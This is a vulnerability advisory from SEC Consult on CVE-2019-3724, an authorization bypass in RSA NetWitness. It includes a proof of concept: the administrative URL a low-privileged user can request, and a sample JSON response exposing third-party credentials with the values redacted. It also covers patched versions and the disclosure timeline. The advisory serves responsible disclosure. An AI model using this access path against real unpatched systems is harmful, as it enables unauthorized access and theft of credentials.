SEC Consult Vulnerability Lab Security Advisory < 20190515-0 > ======================================================================= title: Authorization Bypass product: RSA NetWitness vulnerable version: <10.6.6.1, <11.2.1.1 fixed version: 10.6.6.1, 11.2.1.1 CVE number: CVE-2019-3724 impact: Medium homepage: https://www.rsa.com found: 2018-09-18 by: Mantas Juskauskas (Office Vilnius) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "RSA provides more than 30,000 customers around the world with the essential security capabilities to protect their most valuable assets from cyber threats. With RSA's award-winning products, organizations effectively detect, investigate, and respond to advanced attacks; confirm and manage identities; and ultimately, reduce IP theft, fraud, and cybercrime." Source: https://www.rsa.com/en-us/company/about Business recommendation: ------------------------ By exploiting the vulnerability documented in this advisory an unauthorized attacker can access an administrative resource that may contain plain text credentials to a 3rd party system. The vendor provides a patch which should be installed on affected systems. Vulnerability overview/description: ----------------------------------- The authorization mechanism provided by the platform is prone to an authorization bypass vulnerability, which can be easily exploited by authenticated (but low privileged) remote attackers for gaining access to administrative information including plaintext passwords. Proof of concept: ----------------- A logged-in low privileged user (e.g. with role Analyst) is able to access an administrative resource by calling the following URL: https://[host]/admin/system/whois/properties After the above URL is accessed, the server returns the following HTTP response that contains sensitive information to a 3rd party whois service including plaintext passwords: HTTP/1.1 200 OK Server: nginx Date: [snip] Content-Type: application/json;charset=UTF-8 Connection: close X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 ; includeSubDomains X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Set-Cookie: [snip] Content-Length: 795 {"success":true,"data":{"queryUrl":"https://[snip]","authUrl":"https://[snip]","userId":"[snip]","pw":"[snip]","allowedRequests":100,"allowedRequestsInterval":60,"queueMaxSize":100000,"cacheMaxSize":50000,"refreshInterval":30,"waitForHttpRequests":true,"settings":{"query-url":"https://[snip]","queue-max-size":100000,"password":"[snip]","allowed-requests":100,"auth-url":"https://[snip]","user-id":"[snip]","refresh-interval-seconds":{"seconds":2592000,"milliSeconds":2592000000},"cache-max-size":50000,"wait-for-http-request":true,"allowed-requests-interval-seconds":{"seconds":60,"milliSeconds":60000}}}} Vulnerable / tested versions: ----------------------------- The identified vulnerability has been verified to exist in the RSA NetWitness platform, version 11.1.0.1. According to the vendor, platform version 10 is also affected. The following versions are vulnerable: * <10.6.6.1 * <11.2.1.1 Vendor contact timeline: ------------------------ 2018-10-01: Contacting vendor through PGP via secure@dell.com 2018-10-02: Vendor acknowledges the information was received, forwards the info to the relevant department 2018-10-11: Vendor confirms the impact of the authorization issue, starts to work on the remediation timeline 2018-10-15: Vendor provides additional information 2018-10-22: Contacting vendor to provide the remediation timeline 2018-10-23: Further email exchange related to the remediation timeline 2019-01-18: Vendor provides an update on the fix timeline 2019-03-05: Asking for a status update 2019-03-06: Vendor provides a status update on the release, patch for platform version 11 will be released in March, version 10 Mid-April 2019-04-01: Asking for a specific release date & further status update 2019-04-01: Vendor: release is scheduled for 23rd April 2019, but may change, they will inform us 2019-05-06: Asking for a status update; no answer 2019-05-09: Noticed that the new release is online fow a while now, asking the vendor for a status update again 2019-05-09: Vendor: published security advisory URL and CVE 2019-05-15: SEC Consult advisory release Solution: --------- The following patched versions address the identified issue: * 11.2.1.1 * 10.6.6.1 Security advisory of the vendor: https://community.rsa.com/docs/DOC-104202 The vendor specifically told us that version 11.3 is not affected by this vulnerability. Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Juskauskas / @2019